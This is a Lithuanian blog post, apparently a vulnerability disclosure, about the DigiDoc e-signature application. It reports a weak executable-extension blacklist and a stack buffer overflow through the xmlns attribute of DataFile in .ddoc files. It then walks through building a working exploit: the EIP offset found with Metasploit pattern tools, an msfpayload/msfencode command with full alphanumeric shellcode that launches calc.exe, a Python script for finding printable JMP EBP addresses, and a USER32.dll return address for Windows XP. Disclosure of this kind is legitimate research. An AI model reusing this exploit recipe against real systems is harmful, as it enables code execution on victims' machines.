Elektroninis parašas sparčiai braunasi į mūsų gyvenimus, tad nenorėdamas atsilikti prieš gerus metus suskubau įsigyti tuo metu reklamuojamą mobilųjį elektroninį parašą. Visiems norintiems jį tuojau pat išbandyti paslaugos teikėjas savo lankstinukuose kaip vieną iš būdų rekomendavo dokumentų pasirašymo programą „DigiDoc“, kuri yra naudojama daugiausiai Estijoje, tačiau tenka ją sutikti ir pas mus. Šios programos saugumą šiandien ir paanalizuosime.
Visus šiame įraše paminėtus pažeidžiamumus atradau dar „DigiDoc 2.6.10“ programos versijoje, buvo pranešta programos kūrėjams, tačiau jie nelabai buvo suinteresuoti ką nors keisti, todėl pažeidžiamumai išliko ir iki šių dienų 2.7.8 programos versijos. Tikiuosi, jog viešumas prisidės prie greitesnio problemų sprendimo, kadangi šiuos pažeidžiamumus aptikti bei išnaudoti yra pakankamai lengva, o netinkamose rankose jie galbūt jau yra tapę rimtu atakos vektoriumi.
Pradėkime nuo elementaraus programos saugumo trūkumo. Standartiškai programa konteineryje gali saugoti bet kokio tipo failus, tačiau bandant atidaryti vykdomąjį, pavyzdžiui, „*.exe“ failą, yra rodomas pranešimas, kuris vartotoją įspėja, kad tai gali būti kenkėjiškas failas. Eksperimentuojant su įvairių tipo vykdomaisiais failais paaiškėja, kad potencialiai pavojingų failų plėtinių juodasis sąrašas programoje yra per mažas, nes tokie gerai žinomi plėtiniai kaip „.scr“ ir „.pif“ nėra blokuojami. Įsilaužėliai tai gali išnaudoti socialinės inžinerijos atakose prieš eilinius vartotojus, kurie neatskiria paprasto dokumento nuo vykdomojo failo. Taip pat verta paminėti, kad dėl „DigiDoc“ failų „.ddoc“ formato specifikos, konteineryje esantys vykdomieji failai nėra aptinkamai el. pašto filtrų bei antivirusinių programų, kurios veikia el. pašto serveryje ar tinklo ugniasienėje.
Pereikime prie rimtesnio pažeidžiamumo aptikto bežaidžiant su „.ddoc“ failo formatu, kuris yra paremtas XML 1.0. „DigiDoc“ programai apdorojant specialiai suformuotą „.ddoc“ formato konteinerį, elemento „DataFile“ atributo „xmlns“ reikšmės ilgis nėra tikrinamas, todėl bandant atidaryti konteineryje esantį failą įvyksta steko buferio perpildymas. Sėkmingai išnaudojus šį pažeidžiamumą, kuris galioja visoms „DigiDoc“ programos versijoms, įmanoma vykdyti pasirinktą kodą, o tai, kaip žinoma, veda prie sistemos užvaldymo.
Žemiau esančioje iliustracijoje derintuve „WinDBG“ pavaizduotas programos „DigiDoc“ steko buferio perpildymas, kuomet dėl pakankamai ilgos atributo „xmlns“ reikšmės sudarytos iš simbolio „A“ EIP reikšmė tapo 0x41414141.
Pabandykime išnaudoti šį pažeidžiamumą. Pirmiausia reikia mūsų buferyje sužinoti tikslią vietą, kurioje esantys baitai perrašo atgalinį adresą, vėliau tampantį EIP. Tam puikiai tiks „Metasploit Framework“ sudėtyje esantys įrankiai „pattern_create.rb“ ir „pattern_offset.rb“. Pirmojo pagalba sugeneruojame 4096 simbolių ilgio eilutę, sudarytą iš unikalių simbolių sekų, ir priskiriame ją „.ddoc“ formato faile esančio elemento „DataFile“ atributui „xmlns“.
$ ruby pattern_create.rb 4096
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac
0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad9Ag0Ag1Ag2Ag3Ag4
Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6
Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0
<...>
Atidarant specialiai suformuotame konteineryje esantį failą įvyksta atminties nukaitymo klaida dėl steke perrašyto atgalinio adreso.
Dabar EIP reikšmė tapo 0x397a4338, kurią pavertus į ASCII kodus (atkreipiant dėmesį atvirkštinį baitų išdėstymą (little endian) x86 procesorių atmintinėje) gauname „8Cz9“ simbolių seką. Pasinaudoję „pattern_offset.rb“ įrankiu sužinome už kiek baitų nuo 4096 simbolių eilutės pradžios yra mūsų ieškoma EIP reikšmė. Matome, jog reikia 2336 baitų buferio prieš perrašant atgalinį adresą.
$ ruby pattern_offset.rb 397a4338 4096
2336
Kadangi jau kontroliuojame EIP reikšmę, pats laikas būtų surasti atminties sritį, kurioje galėtume patalpinti aplinkos kodą bei nukreipti į jį EIP. Tinkamiausia atminties sritis „DigiDoc“ atveju būtų EBP registro nurodoma vieta, kurioje matosi nuoseklus 466 baitų ilgio „pattern_create.rb“ įrankio sugeneruotos simbolių eilutės fragmentas, prasidedantis „Cj4C“ simbolių seka. 466 baitų dydžio buferio turėtų užtekti demonstraciniam aplinkos kodui. EBP registro nurodomą vietą buferyje galime surasti pasitelkę „pattern_offset.rb“ arba teksto redaktoriaus galimybėmis.
Aplinkos kodui sugeneruoti taip pat panaudosime „Metasploit Framework“ įrankius. Komandai „msfpayload“ nurodome, kad bus reikalingas aplinkos kodas, kuris iškvies „calc.exe“ programą. Įrankiu „msfencode“ užkoduojame aplinkos kodą taip, kad jis būtų sudarytas vien tik iš spausdinamų simbolių, nes „.ddoc“ formato failas gali būti sudarytas tik iš Unicode simbolių, priešingu atveju, nebus tinkamai apdorotas. Parametras „BufferRegister“ skirtas nurodyti registrą, kuriame išsaugotas absoliutus aplinkos kodo adresas. Be šio parametro galėtume apsieiti, jeigu panaudotume SEH‘ą aplinkos kodo pozicijos atmintyje nustatymui, kadangi reikiamas mašininio kodo instrukcijas galėtume paversti spausdinamais simboliais, tačiau nuo to aplinkos kodas taps žymiai didesnis ir netilps į 466 baitų dydžio buferį, tad kam vargti.
$ ./msfpayload windows/exec CMD=calc.exe R |
./msfencode BufferRegister=EBP -e x86/alpha_mixed -t raw
[*] x86/alpha_mixed succeeded with size 456 (iteration=1)
UYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKLJHOyEPGpEPQpLIJ
EEaJrCTNkQBDpNkPRFlLKPRB4NkQbGXDOOGBjDfEaKOEaIPLlGLE1QlERDlQ0JaJ
oDMGqHGIrHpBrBwLKF2B0NkQRGLGqHPNkG0D8OuIPD4CzGqHPBpLKCxEHLKB
xEpEQICKSGLQYLKFTLKFaKfP1KOEaIPNLIQHOFmEQKwEhIpQeL4ESQmKHGKQ
mGTD5IrPXNkPXQ4EQICQvLKDLPKLKF8ELEQICNkETNkFaHPK9QTFDQ4QKQKP
aF9CjF1KOKPQHCoBzLKB2JKNfCmPjEQNmMUMiEPEPEPBpCXP1LKBOOwKOJuM
kL0NULbF6QxMvNuOMOmKOHUElDFCLEZOpKKM0CEGuOKG7FsPrPoPjEPBsKOJ
uQsPaPlCSFNE5BXBEEPGzAA
Paskutinis žingsnis išnaudojimo kodo gamyboje yra tinkamo atgalinio adreso paieška. Standartiškai, užtektų pačioje programoje „DigiDoc“ ar jos bibliotekose surasti „JMP EBP“ instrukciją, kad galėtume perduoti vykdymą aplinkos kodui, tačiau situacija komplikuoja tai, kad galime naudoti tik spausdinamus simbolius. Bandome rasti tinkamą adresą viename iš „Windows“ modulių, kurių įkėlimo adresas nesikeičia bent jau tarp „Windows XP“ operacinių sistemų su tuo pačiu pataisymo paketu.
Paprastas „Python“ scenarijus, kurį naudoju spausdinamų adresų paieškai derintuvo „WinDBG“ paieškos komandos darbo rezultate.
import sys
import re
print "\nPrintable adresai:\n"
for line in sys.stdin.readlines():
m=re.match(r"([2-7][0-9a-f])([2-7][0-9a-f])([2-7][0-9a-f])([2-7][0-9a-f])",
line.split(' ')[0])
if m:
if "f7" not in m.groups():
print line,
Išsirenkame kokį nors modulį (komanda „lm“), aš pasirinkau USER32.dll, kurio adresų ruožas patenka į mums reikiamų ir atliekame mašininio kodo instrukcijos „FFE5“, kuri atitinka „JMP EBP“, paiešką rezultatą nukreipiant „Python“ scenarijui.
0:003> .shell -i - -ci "s -b 0x7e400000 Lfffff ff e5" python
"C:\Documents and Settings\demo\Desktop\printable.py"
Printable adresai:
7e436125 ff e5 ff 0b c1 a9 00 00-02 00 89 46 4c 0f 85 b7 ...........FL...
7e48234c ff e5 ca 00 ff e6 cb 00-ff e6 cc 00 d9 c4 ae 00 ................
7e484273 ff e5 ba 8f ff e3 b8 8e-ff b2 7c 4b fc 55 2a 15 ..........|K.U*.
<...>
.shell: Process exited
Tikriname aptiktus adresus su derintuvo „WinDbg“ komanda „!address“ tol, kol randame atminties puslapį su vykdymo privilegijomis. Tinkamą adresą galime iškart įrašyti į atitinkamą buferio vietą naudojant atvirkštinį baitų išdėstymą ir išnaudojimo kodas bus paruoštas.
0:003> !address 7e436125
7e410000 : 7e411000 - 00060000
Type 01000000 MEM_IMAGE
Protect 00000020 PAGE_EXECUTE_READ
State 00001000 MEM_COMMIT
Usage RegionUsageImage
FullPath C:\WINDOWS\system32\USER32.dll
Pabaigai, pažeidžiamumų išnaudojimas pademonstruotas „Windows XP“ aplinkoje, tačiau pirmąjį aprašytą „DigiDoc“ programos pažeidžiamumą galima išnaudoti ir vyresnėse „Windows“ šeimos operacinėse sistemose , tačiau steko buferio perpildymo pažeidžiamumo, pavyzdžiui, „Windows 7“ operacinėje sistemoje išnaudoti lengvai nepavyks dėl ASLR. Norintiems išvengti atakos, rekomenduočiau vengti nepasirašytų „.ddoc“ formato failų, nes įsilaužėliai tikrai nerizikuos savo tapatybe, ir laukti gamintojo pataisos. Aišku, tapatybė gali būti ir pasisavinta, bet tai jau retas atvejis.